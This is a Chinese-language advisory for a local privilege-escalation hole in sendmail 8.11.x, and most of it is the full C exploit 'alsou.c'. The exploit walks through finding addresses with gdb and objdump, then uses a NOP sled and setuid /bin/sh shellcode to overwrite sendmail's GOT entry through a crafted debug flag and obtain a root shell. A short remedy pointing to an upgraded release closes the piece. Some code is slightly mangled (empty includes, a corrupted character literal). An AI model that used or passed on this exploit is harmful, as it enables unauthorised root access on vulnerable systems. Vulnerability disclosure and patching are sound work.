sendmail 漏洞 (APP缺陷)

作者： unknow

涉及程序：
sendmail

描述：
本地攻击者利用 sendmail 漏洞能取得 root 权限

详细：
发现 sendmail 存在本地漏洞，攻击者利用此漏洞能取得 root 特权。

测试系统：
Sendmail 8.11.4 on Red Hat 6.2 and kernel 2.2.18

以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

/*
* alsou.c
*
* sendmail-8.11.x linux x86 exploit
*
* To use this exploit you should know two numbers: VECT and GOT.
* Use gdb to find the first:
*
* $ gdb -q /usr/sbin/sendmail
* (gdb) break tTflag
* Breakpoint 1 at 0x8080629
* (gdb) r -d1-1.1
* Starting program: /usr/sbin/sendmail -d1-1.1
*
* Breakpoint 1, 0x8080629 in tTflag ()
* (gdb) disassemble tTflag
* .............
* 0x80806ea : dec %edi
* 0x80806eb : mov %edi,0xfffffff8(%ebp)
* 0x80806ee : jmp 0x80806f9
* 0x80806f0 : mov 0x80b21f4,%eax
* ^^^^^^^^^^^^^^^^^^ address of VECT
* 0x80806f5 : mov %bl,(%esi,%eax,1)
* 0x80806f8 : inc %esi
* 0x80806f9 : cmp 0xfffffff8(%ebp),%esi
* 0x80806fc : jle 0x80806f0
* .............
* (gdb) x/x 0x80b21f4
* 0x80b21f4 : 0x080b9ae0
* ^^^^^^^^^^^^^ VECT
*
* Use objdump to find the second:
* $ objdump -R /usr/sbin/sendmail |grep setuid
* 0809e07c R_386_JUMP_SLOT setuid
* ^^^^^^^^^ GOT
*
* Probably you should play with OFFSET to make exploit work.
*
* Constant values, written in this code found for sendmail-8.11.4
* on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and
* GOT = 0x0809e07c.
*
* To get r00t type ./alsou and then press Ctrl+C.
*
*
* grange
*
*/

#include
#include

#define OFFSET 1000
#define VECT 0x080baf20
#define GOT 0x0809f544

#define NOPNUM 1024

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

unsigned int get_esp()
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
char *egg, s[256], tmp[256], *av[3], *ev[2];
unsigned int got = GOT, vect = VECT, ret, first, last, i;

egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
if (egg == NULL) {
perror("malloc()");
exit(-1);
}
sprintf(egg, "EGG=");
memset(egg + 4, 0x90, NOPNUM);
sprintf(egg + 4 + NOPNUM, "%s", shellcode);

ret = get_esp() + OFFSET;

sprintf(s, "-d");
first = -vect - (0xffffffff - got + 1);
last = first;
while (ret) {
i = ret & 0xff;
sprintf(tmp, "%u-%u.%u-", first, last, i);
strcat(s, tmp);
last = ++first;
ret = ret >> 8;
}
s[strlen(s) - 1] = @#\0@#;

av[0] = "/usr/sbin/sendmail";
av[1] = s;
av[2] = NULL;
ev[0] = egg;
ev[1] = NULL;
execve(*av, av, ev);
}

解决方案：
下载安装升级版本：
http://www.sendmail.org/8.12.0.Beta19.html

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